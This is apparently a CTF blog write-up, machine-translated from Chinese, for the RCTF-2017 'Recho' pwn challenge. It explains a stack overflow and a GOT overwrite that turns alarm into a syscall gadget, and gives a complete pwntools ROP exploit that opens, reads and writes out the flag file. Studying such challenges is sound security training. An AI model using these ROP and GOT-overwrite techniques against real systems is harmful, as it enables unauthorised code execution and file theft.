当前位置:网站首页>[BMZCTF-pwn] 18-RCTF-2017-Recho
[BMZCTF-pwn] 18-RCTF-2017-Recho
2022-07-03 04:30:00 【Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi】
Reappear , No, I can't .
The code is simple , The overflow is obvious .
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr[16]; // [rsp+0h] [rbp-40h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
int v6; // [rsp+38h] [rbp-8h]
int v7; // [rsp+3Ch] [rbp-4h]
Init(argc, argv, envp);
write(1, "Welcome to Recho server!\n", 0x19uLL);
while ( read(0, nptr, 0x10uLL) > 0 )
{
v7 = atoi(nptr); // Read in length
if ( v7 <= 15 )
v7 = 16;
v6 = read(0, buf, v7); // Read data by length
buf[v6] = 0;
printf("%s", buf);
}
return 0;
}The problem is that there is no exit , Here read(0,nptr,0x10) Sometimes p.shutdown() close ,read Returns the -1, At the same time, this time is no longer controllable . all rop Must be put in advance .
Another question , If you use orw If so, there is no open function , Need to pass a no longer used got Change the table to syscall;ret here alarm This function is very short, just two sentences :mov rax,0x25;syscall;, stay +5 The position of is syscall 了 , Where to give got[alarm] Add 5
stay 0x40070d A piece of hidden code , It is said that hiding is actually in front of jmp The following code will never be executed , then ida It won't show him . here 3 Bytes are 00 07 c3 Decompiled back is mov byte ptr [rdi],al; So you can give got Add 5 become syscall 了
Then find the file name string , If input is actually a little troublesome , But this string in the title is directly given .
complete exp:
from pwn import *
local = 1
if local == 1:
p = process('./pwn')
else:
p = remote('106.75.101.133', 10024)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context(arch = 'amd64', log_level = 'debug') #
pop_rax = 0x00000000004006fc # pop rax ; ret
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop_rdx = 0x00000000004006fe # pop rdx ; ret
pop_rsi = 0x00000000004008a1 # pop rsi ; pop r15 ; ret
'''
#got.alarm -> syscall
.text:00000000000CC200 ; __unwind {
.text:00000000000CC200 mov eax, 25h ; '%'
.text:00000000000CC205 syscall ; LINUX - sys_alarm
'''
add_rdi_al = 0x000000000040070d # add byte ptr [rdi], al ; ret # b'\x00\x07\xc3'
#padding
payload = b'A'*(0x30+8)
#got.alarm -> syscall
payload += flat(pop_rdi, elf.got['alarm'], pop_rax, 5, add_rdi_al)
#open('flag',0)
payload += flat(pop_rdi, next(elf.search(b'flag')), pop_rsi,0,0, pop_rdx,0, pop_rax,2, elf.plt['alarm'])
#read(3, bss()+0x100, 0x40)
payload += flat(pop_rdi,3, pop_rsi, elf.bss()+0x100,0, pop_rdx,0x40, elf.plt['read'])
#write(1, bss()+0x100, 0x40)
payload += flat(pop_rdi,1, pop_rsi, elf.bss()+0x100,0, pop_rdx,0x40, elf.plt['write'])
p.sendlineafter(b"Welcome to Recho server!\n", str(len(payload)).encode())
p.send(payload)
p.shutdown()
p.interactive()
边栏推荐
- PostgreSQL database high availability Patroni source code learning - etcd class
- 2022 electrician (Advanced) examination papers and electrician (Advanced) examination skills
- 使用BENCHMARKSQL工具对KingbaseES预热数据时执行:select sys_prewarm(‘NDX_OORDER_2 ‘)报错
- 重绘和回流
- What's wrong with SD card data damage? How to recover SD card data damage
- AWS VPC
- Daily question - ugly number
- Prefix and (continuously updated)
- Xrandr modifier la résolution et le taux de rafraîchissement
- Summary of training competition (Lao Li's collection of questions)
猜你喜欢
![[free completion] development of course guidance platform (source code +lunwen)](/img/14/7c1c822bda050a805fa7fc25b802a4.jpg)
[free completion] development of course guidance platform (source code +lunwen)

Introduction of pointer variables in function parameters

Function introduction of member points mall system

Design and implementation of JSP logistics center storage information management system

解决bp中文乱码

2022 tea master (intermediate) examination questions and tea master (intermediate) examination skills
![[Thesis Writing] how to write the overall design of JSP tourism network](/img/02/841e8870c2ef871c182b9bb8252a83.jpg)
[Thesis Writing] how to write the overall design of JSP tourism network

4 years of experience to interview test development, 10 minutes to end, ask too

What are the Bluetooth headsets with good sound quality in 2022? Inventory of four high-quality Bluetooth headsets

How to choose cross-border e-commerce multi merchant system
随机推荐
Kingbasees plug-in KDB of Jincang database_ database_ link
使用BENCHMARKSQL工具对kingbaseES执行灌数据提示无法找到JDBC driver
Summary of training competition (Lao Li's collection of questions)
Design and implementation of JSP logistics center storage information management system
RSRS指标择时及大小盘轮动
[fairseq] error: typeerror:_ broadcast_ coalesced(): incompatible function arguments
Reptile exercise 03
P35-P41 fourth_ context
2.14 summary
Jincang KFS data bidirectional synchronization scenario deployment
FFMpeg filter
跨境电商多商户系统怎么选
Feature_selection
2022-02-14 (394. String decoding)
Crazy scientist
Ffmpeg mix
SSM based campus part-time platform for College Students
Reptile exercise 02
MC Layer Target
JS multidimensional array to one-dimensional array